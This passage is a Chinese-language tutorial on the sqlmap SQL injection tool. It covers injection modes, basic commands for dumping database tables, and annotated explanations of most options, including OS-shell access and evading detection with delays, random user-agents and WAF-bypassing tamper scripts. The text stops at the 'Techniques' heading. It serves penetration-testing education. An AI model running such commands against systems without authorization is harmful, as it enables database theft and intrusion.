当前位置:   article > 正文

SQLmap

sqlmap

SQLmap

1.简介 原作者

sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令

sqlmap支持五种不同的注入模式:
  • 1、基于布尔的盲注,可以根据返回页面判断条件真假的注入。

  • 2、基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断。

  • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

  • 4、联合查询注入,可以使用union的情况下的注入。

  • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

2.基本使用

  1. sqlmap -u ["URL"] //测试是否存在注入
  2. sqlmap -u ["URL"]  --current-db //查询当前数据库
  3. sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
  4. sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns   //查询指定库中指定表的所有列(字段)
  5. sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump           //打印出指定库中指定表指定列中的字段内容

3. sqlmap选项

选项分类

  1. sqlmap -hh
  2.   #参数的分类
  3. 1. Options -->选项
  4. 2. Target -->目标
  5. 3. Request -->请求
  6. 4. Optimization -->优化
  7. 5. Injection -->注入
  8. 6. Detection -->检测
  9. 7. Techniques -->技术
  10. 8. Fingerprint -->指纹识别
  11. 9. Enumeration -->枚举
  12. 10. Brute force -->暴力破解
  13. 11. User-defined function injection -->用户自定义函数注入
  14. 12. File system access -->访问文件系统
  15. 13. Operating system access -->访问操作系统
  16. 14. Windows registry access -->访问Windows注册表
  17. 15. General -->通用选项
  18. 16. Miscellaneous -->其他选项

4.参数

1. Options:
  1.  -h, --help           Show basic help message and exit     #查看基础帮助信息
  2.  -hh                   Show advanced help message and exit #查看全部帮助信息
  3.  --version             Show program's version number and exit #显示程序的版本号
  4.  
  5.  -v VERBOSE           Verbosity level: 0-6 (default 1)        #详细级别:0-6(默认为1)
  6. 0:只显示Python的回溯,错误和关键消息。
  7. 1:显示信息和警告消息。
  8. 2:显示Debug消息。
  9. 3:显示注入过程的payload。
  10. 4:显示HTTP请求包。
  11. 5:显示HTTP响应头。
  12. 6:显示HTTP响应页面的内容

2. Target:
  • At least one of these options has to be provided to define the target(s)

  • 必须至少提供其中一个选项来定义目标

  1.    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")  #目标url
  2.    -d DIRECT           Connection string for direct database connection       #直接连接数据库
  3.    -l LOGFILE         Parse target(s) from Burp or WebScarab proxy log file  #从Burp或者WebScarab加载一个日志文件
  4.    -m BULKFILE         Scan multiple targets given in a textual file          #从文本文件中获取批量目标  
  5.    -r REQUESTFILE     Load HTTP request from a file   #从文件post请求方式的数据包并检测
  6.    -g GOOGLEDORK       Process Google dork results as target URLs             #使用 Google dork 结果作为目标
  7.    -c CONFIGFILE       Load options from a configuration INI file   #配置文件中加载选项
3. Request:
  • These options can be used to specify how to connect to the target URL

  • 这些选项可用于指定如何连接到目标URL

  1.    -A AGENT, --user.. HTTP User-Agent header value
  2.    -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")   #设置额外的 HTTP 头参数
  3.    --method=METHOD     Force usage of given HTTP method (e.g. PUT)        #强制使用提供的HTTP方法(例如:PUT)
  4.    --data=DATA         Data string to be sent through POST (e.g. "id=1")  #使用 POST 发送数据串
  5.    --param-del=PARA.. Character used for splitting parameter values (e.g. &) #设置参数值分隔符
  6.    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")    #指定HTTP Cookie
  7.    --cookie-del=COO.. Character used for splitting cookie values (e.g. ;)      #设置 cookie 分隔符
  8.    --live-cookies=L.. Live cookies file used for loading up-to-date values     #
  9.    --load-cookies=L.. File containing cookies in Netscape/wget format          #指定以Netscape/wget格式存放cookies的文件
  10.    --drop-set-cookie   Ignore Set-Cookie header from response                   #忽略HTTP响应中的Set-Cookie参数
  11.    --mobile           Imitate smartphone through HTTP User-Agent header        #使用HTTP User-Agent模仿智能手机
  12.    --random-agent     Use randomly selected HTTP User-Agent header value       #使用随机的HTTP User-Agent
  13.    --host=HOST         HTTP Host header value #指定 HTTP Host
  14.    --referer=REFERER   HTTP Referer header value                                #指定 HTTP Referer
  15.    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")    #设置额外的 HTTP 头参数
  16.    --auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)    # HTTP 认证方式
  17.    --auth-cred=AUTH.. HTTP authentication credentials (name:password)          # HTTP 认证凭证
  18.    --auth-file=AUTH.. HTTP authentication PEM cert/private key file            #HTTP 认证 PEM 证书/私钥文件
  19.    --ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)          #忽略 HTTP 错误码
  20.    --ignore-proxy     Ignore system default proxy settings                     #忽略系统默认代理设置
  21.    --ignore-redirects Ignore redirection attempts #忽略重定向尝试
  22.    --ignore-timeouts   Ignore connection timeouts                               #忽略连接超时
  23.    --proxy=PROXY       Use a proxy to connect to the target URL                 #使用代理连接目标 URL
  24.    --proxy-cred=PRO.. Proxy authentication credentials (name:password)         #使用代理进行认证(username:password)
  25.    --proxy-file=PRO.. Load proxy list from a file                              #从文件中加载代理列表
  26.    --proxy-freq=PRO.. Requests between change of proxy from a given list       #
  27.    --tor               Use Tor anonymity network                                #使用 Tor 匿名网络
  28.    --tor-port=TORPORT Set Tor proxy port other than default                    #设置Tor代理端口代替默认端口
  29.    --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))    #设置Tor代理方式(http,socks4/5)
  30.    --check-tor         Check to see if Tor is used properly                     #检查是否正确使用了Tor
  31.    --delay=DELAY       Delay in seconds between each HTTP request               #设置每个 HTTP 请求的延迟秒数
  32.    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)   #设置连接响应的有效秒数(默认为30)
  33.    --retries=RETRIES   Retries when the connection timeouts (default 3)         #连接超时时重试次数(默认为 3)  
  34.    --retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")   #
  35.    --randomize=RPARAM Randomly change value for given parameter(s)             #随机更改给定的参数值
  36.    --safe-url=SAFEURL URL address to visit frequently during testing           #测试过程中可频繁访问且合法的URL地址
  37.    --safe-post=SAFE.. POST data to send to a safe URL                          #使用 POST 方法发送合法的数据
  38.    --safe-req=SAFER.. Load safe HTTP request from a file                       #从文件中加载合法的 HTTP 请求
  39.    --safe-freq=SAFE.. Regular requests between visits to a safe URL            #每访问两次给定的合法URL才发送一次测试请求
  40.    --skip-urlencode   Skip URL encoding of payload data                        #跳过payload 数据进行 URL 编码
  41.    --csrf-token=CSR.. Parameter used to hold anti-CSRF token                   #设置网站用来反CSRF攻击的token
  42.    --csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token   #指定可提取反 CSRF 攻击 token 的 URL
  43.    --csrf-method=CS.. HTTP method to use during anti-CSRF token page visit     #
  44.    --csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)        #
  45.    --force-ssl         Force usage of SSL/HTTPS                                 #强制使用 SSL/HTTPS
  46.    --chunked           Use HTTP chunked transfer encoded (POST) requests
  47.    --hpp               Use HTTP parameter pollution method                      #使用 HTTP 参数污染攻击
  48.    --eval=EVALCODE     Evaluate provided Python code before the request (e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")    

4. Optimization:
  • These options can be used to optimize the performance of sqlmap

  • 这些选项可以用来优化sqlmap的性能

  1.    -o                 Turn on all optimization switches                      #开启所有优化开关
  2.    --predict-output   Predict common queries output                          #预测常用请求的输出
  3.    --keep-alive       Use persistent HTTP(s) connections                     #使用持久的 HTTP(S) 连接
  4.    --null-connection   Retrieve page length without actual HTTP response body #仅获取页面大小而非实际的HTTP响应
  5.    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)  #设置 HTTP(S) 请求并发数最大值

5. Injection:
  • These options can be used to specify which parameters to test for,provide custom injection payloads and optional tampering scripts

  • 这些选项可用于指定要测试哪些参数,提供自定义的注入有效载荷和可选的篡改脚本

  1.    -p TESTPARAMETER   Testable parameter(s)                                 #指定需要测试的参数
  2.    --skip=SKIP         Skip testing for given parameter(s)                   #指定要跳过的参数
  3.    --skip-static       Skip testing parameters that not appear to be dynamic #指定跳过非动态参数
  4.    --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")#用正则表达式排除参数(例如:"ses")
  5.    --param-filter=P.. Select testable parameter(s) by place (e.g. "POST")   #
  6.    --dbms=DBMS         Force back-end DBMS to provided value                 #指定 DBMS 类型(例如:MySQL)
  7.    --dbms-cred=DBMS.. DBMS authentication credentials (user:password)       #认证凭据(username:password)
  8.    --os=OS             Force back-end DBMS operating system to provided value#指定DBMS服务器的操作系统类型
  9.    --invalid-bignum   Use big numbers for invalidating values               #将无效值设置为大数
  10.    --invalid-logical   Use logical operations for invalidating values        #对无效值使用逻辑运算
  11.    --invalid-string   Use random strings for invalidating values            #对无效值使用随机字符串
  12.    --no-cast           Turn off payload casting mechanism                    #关闭 payload 构造机制
  13.    --no-escape         Turn off string escaping mechanism                    #关闭字符串转义机制
  14.    --prefix=PREFIX     Injection payload prefix string                       #注入 payload 的前缀字符串
  15.    --suffix=SUFFIX     Injection payload suffix string                       #注入 payload 的后缀字符串
  16.    --tamper=TAMPER     Use given script(s) for tampering injection data      #用给定脚本修改注入数据

6. Detection:
  • These options can be used to customize the detection phase

  • 这些选项可用于定制检测阶段

  1.    --level=LEVEL       Level of tests to perform (1-5, default 1)           #设置测试等级
  2.    --risk=RISK         Risk of tests to perform (1-3, default 1)            #设置测试风险等级
  3.    --string=STRING     String to match when query is evaluated to True      #用于确定查询结果为真时的字符串
  4.    --not-string=NOT.. String to match when query is evaluated to False     #用于确定查询结果为假时的字符串
  5.    --regexp=REGEXP     Regexp to match when query is evaluated to True      #用于确定查询结果为真时的正则表达式
  6.    --code=CODE         HTTP code to match when query is evaluated to True   #用于确定查询结果为真时的HTTP状态码
  7.    --smart             Perform thorough tests only if positive heuristic(s) #只有在使用启发式检测时才进行彻底的测试
  8.    --text-only         Compare pages based only on the textual content      #仅根据文本内容比较页面
  9.    --titles           Compare pages based only on their titles             #只根据页面标题对比页面

7. Techniques:
  • These options can be used to tweak testing of specific SQL injection techniques

  • 这些选项可用于调整特定SQL注入技术的测试

  1.    --technique=TECH.. SQL injection techniques to use (default "BEUSTQ")     #使用的SQL注入技术
  2.    --time-sec=TIMESEC Seconds to delay the DBMS response (default 5)         #延迟 DBMS 的响应秒数(
  3.    --union-cols=UCOLS Range of columns to test for UNION query SQL injection #设置联合查询注入测试的列数目范围
  4.    --union-char=UCHAR Character to use for bruteforcing number of columns    #用于暴力猜解列数的字符
  5.    --union-from=UFROM Table to use in FROM part of UNION query SQL injection #设置联合查询注入 FROM 处用到的表
  6.    --dns-domain=DNS.. Domain name used for DNS exfiltration attack           #设置用于 DNS 渗出攻击的域名
  7.    --second-url=SEC.. Resulting page URL searched for second-order response  #搜索二级响应的结果页面URL
  8.    --second-req=SEC.. Load second-order HTTP request from file               #设置二阶响应的结果显示页面的 URL

8. Fingerprint:
  1. -f, --fingerprint   Perform an extensive DBMS version fingerprint   #执行广泛的 DBMS 版本指纹识别

9. Enumeration:
  • These options can be used to enumerate the back-end database management system information, structure and data contained in the tables

  • 这些选项可用于枚举后端数据库管理系统中包含的信息、结构和数据表

  1.    -a, --all           Retrieve everything                               #获取所有信息、数据
  2.    -b, --banner       Retrieve DBMS banner  #获取DBMS banner
  3.    --current-user     Retrieve DBMS current user  #获取DBMS当前用户
  4.    --current-db       Retrieve DBMS current database                    #获取DBMS当前数据库
  5.    --hostname         Retrieve DBMS server hostname  #获取DBMS当前主机名
  6.    --is-dba           Detect if the DBMS current user is DBA            #探测DBMS当前用户是否为DBA
  7.    --users             Enumerate DBMS users  #枚举出 DBMS 所有用户
  8.    --passwords         Enumerate DBMS users password hashes              #枚举出 DBMS 所有用户的密码哈希
  9.    --privileges       Enumerate DBMS users privileges                   #枚举出 DBMS 所有用户特权级
  10.    --roles             Enumerate DBMS users roles  #枚举出 DBMS 所有用户角色
  11.    --dbs               Enumerate DBMS databases  #枚举出 DBMS 所有数据库
  12.    --tables           Enumerate DBMS database tables  #枚举出 DBMS 数据库中的所有表
  13.    --columns           Enumerate DBMS database table columns  #枚举出 DBMS 表中的所有列
  14.    --schema           Enumerate DBMS schema                             #枚举出 DBMS 所有模式
  15.    --count             Retrieve number of entries for table(s)           #获取数据表数目
  16.    --dump             Dump DBMS database table entries                  #导出 DBMS 数据库表项
  17.    --dump-all         Dump all DBMS databases tables entries            #导出所有 DBMS 数据库表项
  18.    --search           Search column(s), table(s) and/or database name(s)#搜索列,表和/或数据库名
  19.    --comments         Check for DBMS comments during enumeration        #获取 DBMS 注释
  20.    --statements       Retrieve SQL statements being run on DBMS         #检索在DBMS上运行的SQL语句
  21.    -D DB               DBMS database to enumerate  #指定要枚举的 DBMS 数据库
  22.    -T TBL             DBMS database table(s) to enumerate               #指定要枚举的 DBMS 数据表
  23.    -C COL             DBMS database table column(s) to enumerate        #指定要枚举的 DBMS 数据列
  24.    -X EXCLUDE         DBMS database identifier(s) to not enumerate      #指定要排除的 DBMS 数据列
  25.    -U USER             DBMS user to enumerate                            #指定枚举的 DBMS 用户
  26.    --exclude-sysdbs   Exclude DBMS system databases when enumerating tables  # 枚举所有数据表时,指定排除特定系统数据库
  27.    --pivot-column=P.. Pivot column name                  #指定主列
  28.    --where=DUMPWHERE   Use WHERE condition while table dumping           #在转储表时使用 WHERE 条件语句
  29.    --start=LIMITSTART First dump table entry to retrieve                #指定要导出的数据表条目开始行数
  30.    --stop=LIMITSTOP   Last dump table entry to retrieve                 #指定要导出的数据表条目结束行数
  31.    --first=FIRSTCHAR   First query output word character to retrieve     #指定获取返回查询结果的开始字符位
  32.    --last=LASTCHAR     Last query output word character to retrieve      #指定获取返回查询结果的结束字符位
  33.    --sql-query=SQLQ.. SQL statement to be executed                      #指定要执行的 SQL 语句
  34.    --sql-shell         Prompt for an interactive SQL shell               #调出交互式 SQL shell
  35.    --sql-file=SQLFILE Execute SQL statements from given file(s)         # 执行文件中的 SQL 语句
10. Brute force
  • These options can be used to run brute force checks

  • 这些选项可用于运行暴力破

  1.    --common-tables     Check existence of common tables               #检测常见的表名是否存在
  2.    --common-columns   Check existence of common columns              #检测常用的列名是否存在
  3.    --common-files     Check existence of common files                # 检测常用的文件是否存在

11. User-defined function injection
  • These options can be used to create custom user-defined functions

  • 这些选项可用于创建自定义的用户定义函数

  1.    --udf-inject       Inject custom user-defined functions  #注入用户自定义函数
  2.    --shared-lib=SHLIB Local path of the shared library      #共享库的本地路径

12. File system access
  • These options can be used to access the back-end database management system underlying file system

  • 这些选项可用于访问后端数据库管理系统底层文件系统

  1.    --file-read=FILE.. Read a file from the back-end DBMS file system      #读取后端 DBMS 文件系统中的文件
  2.    --file-write=FIL.. Write a local file on the back-end DBMS file system #写入后端 DBMS 文件系统中的文件
  3.    --file-dest=FILE.. Back-end DBMS absolute filepath to write to         #使用文件绝对路径写入到后端 DBMS

13. Operating system access
  • These options can be used to access the back-end database management system underlying operating system

  • 这些选项可用于访问后端数据库管理系统底层操作系统

  1.    --os-cmd=OSCMD     Execute an operating system command                  #执行操作系统命令
  2.    --os-shell         Prompt for an interactive operating system shell     #调出交互式操作系统 shell
  3.    --os-pwn           Prompt for an OOB shell, Meterpreter or VNC          #调出OOB shell,Meterpreter或VNC
  4.    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC#一键调出OOB shell,Meterpreter或VNC
  5.    --os-bof           Stored procedure buffer overflow exploitation        #利用存储过程的缓冲区溢出
  6.    --priv-esc         Database process user privilege escalation           #数据库进程用户提权
  7.    --msf-path=MSFPATH Local path where Metasploit Framework is installed   #框架的本地安装路径
  8.    --tmp-path=TMPPATH Remote absolute path of temporary files directory    # 远程临时文件目录的绝对路径

14. Windows registry access
  • These options can be used to access the back-end database management system Windows registry

  • 这些选项可用于访问后端数据库管理系统Windows注册表

  1.    --reg-read         Read a Windows registry key value                #读取一个 Windows 注册表键值  
  2.    --reg-add           Write a Windows registry key value data          #写入一个 Windows 注册表键值数据
  3.    --reg-del           Delete a Windows registry key value              #删除一个 Windows 注册表键值
  4.    --reg-key=REGKEY   Windows registry key                             #指定 Windows 注册表键
  5.    --reg-value=REGVAL Windows registry key value                       #指定 Windows 注册表键值
  6.    --reg-data=REGDATA Windows registry key value data                  #指定 Windows 注册表键值数据
  7.    --reg-type=REGTYPE Windows registry key value type                  #指定 Windows 注册表键值类型

15. General
  • These options can be used to set some general working parameters

  • 这些选项可用于设置一些常规工作参数

  1.    -s SESSIONFILE     Load session from a stored (.sqlite) file #从文件(.sqlite)中读入会话信息
  2.    -t TRAFFICFILE     Log all HTTP traffic into a textual file            #保存所有HTTP流量记录到指定文本文件
  3.    --answers=ANSWERS   Set predefined answers (e.g. "quit=N,follow=N")     #
  4.    --base64=BASE64P.. Parameter(s) containing Base64 encoded data #
  5.    --base64-safe       Use URL and filename safe Base64 alphabet (RFC 4648)#
  6.    --batch             Never ask for user input, use the default behavior  #从不询问用户输入,使用默认配置
  7.    --binary-fields=.. Result fields having binary values (e.g. "digest")  #具有二进制值的结果字段
  8.    --check-internet   Check Internet connection before assessing the target#在访问目标之前检查是否正常连接互联网
  9.    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables#
  10.    --crawl=CRAWLDEPTH Crawl the website starting from the target URL #从目标 URL 开始爬取网站
  11.    --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")#用正则表达式筛选爬取的页面
  12.    --csv-del=CSVDEL   Delimiting character used in CSV output (default ",")#指定输出到 CVS 文件时使用的分隔符
  13.    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")# 指定 SQL 盲注字符集
  14.    --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)#导出数据的格式
  15.    --encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)#指定获取数据时使用的字符编码
  16.    --eta               Display for each output the estimated time of arrival# 显示每个结果输出的预计到达时间
  17.    --flush-session     Flush session files for current target               #清空当前目标的会话文件
  18.    --forms             Parse and test forms on target URL                   #解析并测试目标 URL 的表单
  19.    --fresh-queries     Ignore query results stored in session file          #忽略存储在会话文件中的查询结果
  20.    --gpage=GOOGLEPAGE Use Google dork results from specified page number   #
  21.    --har=HARFILE       Log all HTTP traffic into a HAR file #将所有HTTP流量记录到一个HAR文件中
  22.    --hex               Use hex conversion during data retrieval #获取数据时调用 DBMS 的 hex 函数
  23.    --output-dir=OUT.. Custom output directory path #自定义输出目录路径
  24.    --parse-errors     Parse and display DBMS error messages from responses #从响应中解析并显示 DBMS 错误信息
  25.    --preprocess=PRE.. Use given script(s) for preprocessing (request)      #
  26.    --postprocess=PO.. Use given script(s) for postprocessing (response)    #
  27.    --repair           Redump entries having unknown character marker (?)   #
  28.    --save=SAVECONFIG   Save options to a configuration INI file             #将选项设置保存到一个 INI 配置文件
  29.    --scope=SCOPE       Regexp for filtering targets                         #用正则表达式从提供的代理日志中过滤目标
  30.    --skip-heuristics   Skip heuristic detection of vulnerabilities          #
  31.    --skip-waf         Skip heuristic detection of WAF/IPS protection       #跳过启发式检测 WAF/IPS/IDS 保护
  32.    --table-prefix=T.. Prefix used for temporary tables (default: "sqlmap") #
  33.    --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)    #根据 payloads 和/或标题 选择测试
  34.    --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)#根据 payloads 和/或标题跳过部分测试
  35.    --web-root=WEBROOT Web server document root directory (e.g. "/var/www") #  

16. Miscellaneous
  • These options do not fit into any other category

  • 这些选项不属于任何其他类别

  1.    -z MNEMONICS       Use short mnemonics (e.g. "flu,bat,ban,tec=EU")     #使用短助记符
  2.    --alert=ALERT       Run host OS command(s) when SQL injection is found  #在找到SQL注入时运行 OS 命令
  3.    --beep             Beep on question and/or when vulnerability is found #出现问题提醒或在发现SQL注入时发出提示音
  4.    --dependencies     Check for missing (optional) sqlmap dependencies    #检查sqlmap缺少什么(非核心)依赖
  5.    --disable-coloring Disable console output coloring                     #关闭彩色控制台输出
  6.    --list-tampers     Display list of available tamper scripts            #显示可用篡改脚本的列表
  7.    --offline           Work in offline mode (only use session data)        #在离线模式下工
  8.    --purge             Safely remove all content from sqlmap data directory#安全删除sqlmap数据目录中的所有内容
  9.    --results-file=R.. Location of CSV results file in multiple targets mode#
  10.    --shell             Prompt for an interactive sqlmap shell              #交互式sqlmap shell的提示符
  11.    --tmp-dir=TMPDIR   Local directory for storing temporary files         #指定用于存储临时文件的本地目录    
  12.    --unstable         Adjust options for unstable connections             #调整不稳定连接的选项
  13.    --update           Update sqlmap #更新sqlmap
  14.    --wizard           Simple wizard interface for beginner users          #适合初级用户的向导界面

5.参数说明

Options
  1. -h, --help 查看帮助,没什么好说的
  2. -hh 查看全部的帮助
  3. --version 查看版本
  4. -v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面。
Target
  1. -d 直接连目标后端接数据库,而不是使用sql注入漏洞,直接通过目标的侦听端口连接,当然需要有目标数据库的账号名和密码。例:-d "mysql://user:password@192.168.75.128:3389/databasename" --dbs 查询非常快。
  2. -u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
  3. -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录。例: -l log.txt
  4. -x 站点地图,提交给sql一个xml文件。
  5. -m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例: -m target.txt
  6. -r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
  7. -g 使用google引擎搜索类似的网址,并且多目标检测。例: -g "inurl:\".php?id=1\"" \是转义
  8. -c 将使用的命令写在一个文件中,让sqlmap执行文件中的命令,我们可以用--save命令将配置写入文件。
Request
  1. --method=METHOD 指定是get方法还是post方法。例: --method=GET --method=POST
  2. --data=DATA 指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
  3. --param-del=PARA. 指明使用的变量分割符。例: -u "www.abc.com/index.php?id=1" --data="name=1;pass=2" --param-del=";"
  4. --cookie=COOKIE 指定测试时使用的cookie,通常在一些需要登录的站点会使用。例: -u "www.abc.com/index.php?id=1" --cookie="a=1;b=2"
  5. --cookie-del=COO.. 和前面的 --param-del=PARA. 类似,就是指明分割cookie的字符。
  6. --load-cookies=L.. 从包含Netscape / wget格式的cookie的文件中加载cookie。
  7. --drop-set-cookie 默认情况下,sqlmap是开启set-cookie功能的,也就是当收到一个含有set-cookie的http包的时候,下次sql会使用新的cookie进行发包,如果使用这条命令,就会关闭这个功能。在level>=2时会检测cookie注入。
  8. --user-agent=AGENT 指定一个user-agent的值进行测试。例: --user-agent="aaaaaaa" 默认情况下,sqlmap会使用自己的user-agent进行测试(所以很多服务器发现user-agent是sqlmap的数据包直接认为是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
  9. --random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
  10. --host=HOST 指定http包中的host头参数。例: --host="aaaaaa" 在level>=5时才会检查host头注入。\n是换行
  11. --referer=REFERER 指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。
  12. -H --headers 额外的header头,每个占一行。例:--headers="host:www.a.com\nUser-Agent:yuangh"
  13. --headers=HEADERS 跟上边一样,再举一个例子: --headers="Accept-Language: fr\nETag: 123" 注意所有构造http包的部分均区分大小写
  14. --auth-type=AUTH.. 基于http身份验证的种类。例: --auth-type Basic/Digest/NTLM 一共有三种认证方式。
  15. --auth-cred=AUTH.. 使用的认证,例: --auth-type Basic --auth-cred "user:password"
  16. --auth-file=AUTH.. 使用.PEM文件中的认证。例:--auth-file="AU.PEM" 少见。
  17. --ignore-code=IG.. 无视http状态码。例: --ignore-code=401
  18. --ignore-proxy 无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。
  19. --ignore-redirects 无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。
  20. --ignore-timeouts 忽略连接超时。
  21. --proxy=PROXY 指定一个代理。例: --proxy="127.0.0.1:8087" 使用GoAgent代理。
  22. --proxy-cred=PRO.. 代理需要的认证。例: --proxy="name:password"
  23. --proxy-file=PRO.. 从一个文件加载代理的认证。
  24. --tor 使用tor匿名网络,不懂。
  25. --tor-port=TORPORT 设置默认的tor代理端口,不懂+2
  26. --tor-type=TORTYPE 设置tor代理种类,(HTTP, SOCKS4 or SOCKS5 (默认)),不懂+3
  27. --check-tor 检查是否正确使用Tor,不懂+4
  28. --delay=DELAY 每次发包的延迟时间,单位为秒,浮点数。例:--delay 2.5 有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。
  29. --timeout=TIMEOUT 请求超时的时间,单位为秒,浮点数,默认30s。
  30. --retries=RETRIES 超时重连次数,默认三次。例: --retries=5
  31. --randomize=RPARAM 参数的长度,类型与输入值保持一致的前提下,每次请求换参数的值。有时候反复的提交同一个参数会引起服务器注意。
  32. --safe-url=SAFEURL 用法和-u类似,就是一个加载测试url的方法,但额外功能是防止有时候时间长了不通讯服务器会销毁session,开启这种功能会隔一段时间发一个包保持session。
  33. --safe-post=SAFE.. 和上面的一样,只是使用post的方式发送数据。
  34. --safe-req=SAFER.. 和上面的一样,只是从一个文件获得目标。
  35. --safe-freq=SAFE.. 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的。通常用于盲注。
  36. --skip-urlencode 跳过url编码,毕竟不排除有的奇葩网站url不遵守RFC标准编码。
  37. --csrf-token=CSR.. 保持csrf令牌的token。
  38. --csrf-url=CSRFURL 访问url地址获取csrf的token。
  39. --force-ssl 强制使用ssl。
  40. --hpp 使用http参数污染,通常http传递参数会以名称-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的,就可能造成参数篡改。
  41. --eval=EVALCODE 执行一段指定的python代码。例: -u "www.abc.com/index.php?id=1" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
Optimization
  1. -o 开启下面三项(--predict-output,--keep-alive, --null-connection)
  2. --predict-output 预设的输出,可以理解为猜一个表存在不存在,根据服务器返回值来进行判断,有点类似暴力破解,但和暴力破解又不同,这个是一个范围性的暴力破解,一次一次的缩小范围。
  3. --keep-alive 使用http(s)长链接,性能更好,避免重复建立链接的开销,但占用服务器资源,而且与--proxy不兼容。
  4. --null-connection 只看页面返回的大小值,而不看具体内容,通常用于盲注或者布尔的判断,只看对错,不看内容。
  5. --threads=THREADS 开启多线程,默认为1,最大10。和 --predict-output 不兼容。
Injection
  1. -p TESTPARAMETER 知道测试的参数,使用这个的话--level 参数就会失效。例: -p "user-agent,refere"
  2. --skip=SKIP 排除指定的参数。例: --level 5 --skip="id,user-agent"
  3. --skip-static 跳过测试静态的参数。
  4. --param-exclude=.. 使用正则表达式跳过测试参数。
  5. --dbms=DBMS 指定目标数据库类型。例: --dbms="MySQL<5.0>" Oracle<11i> Microsoft SQL Server<2005>
  6. --dbms-cred=DBMS.. 数据库的认证。利: --dbms-cred="name:password"
  7. --os=OS 指定目标操作系统。例: --os="Linux/Windows"
  8. --invalid-bignum 通常情况下sqlmap使用负值使参数失效,比如id=1->id=-1,开启这个之后使用大值使参数失效,如id=9999999999
  9. --invalid-logical 使用逻辑使参数失效,如id=1 and 1=2
  10. --invalid-string 使用随机字符串使参数失效。
  11. --no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null
  12. --no-escape 用于混淆和避免出错,使用单引号的字符串的时候,有时候会被拦截,sqlmap使用char()编码。例如:select “a”-> select char(97)。
  13. --prefix=PREFIX 指定payload前缀,有时候我们猜到了服务端代码的闭合情况,需要使用这个来指定一下。例: -u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
  14. --suffix=SUFFIX 指定后缀,例子同上。
  15. --tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
Detection
  1. --level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
  2. --risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3or语句的测试;risk 4:update的测试
  3. --string=STRING 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。
  4. --not-string=NOT.. 同理,这个参数代表看不见什么才是真。
  5. --regexp=REGEXP 通常和上面两种连用,使用正则表达式来判断。
  6. --code=CODE 也是在基于布尔的注入时,只不过指定的是http返回码。
  7. --text-only 同上,只不过指定的是页面里的一段文本内容。
  8. --titles 同上,只不过指定的是页面的标题。
Techniques
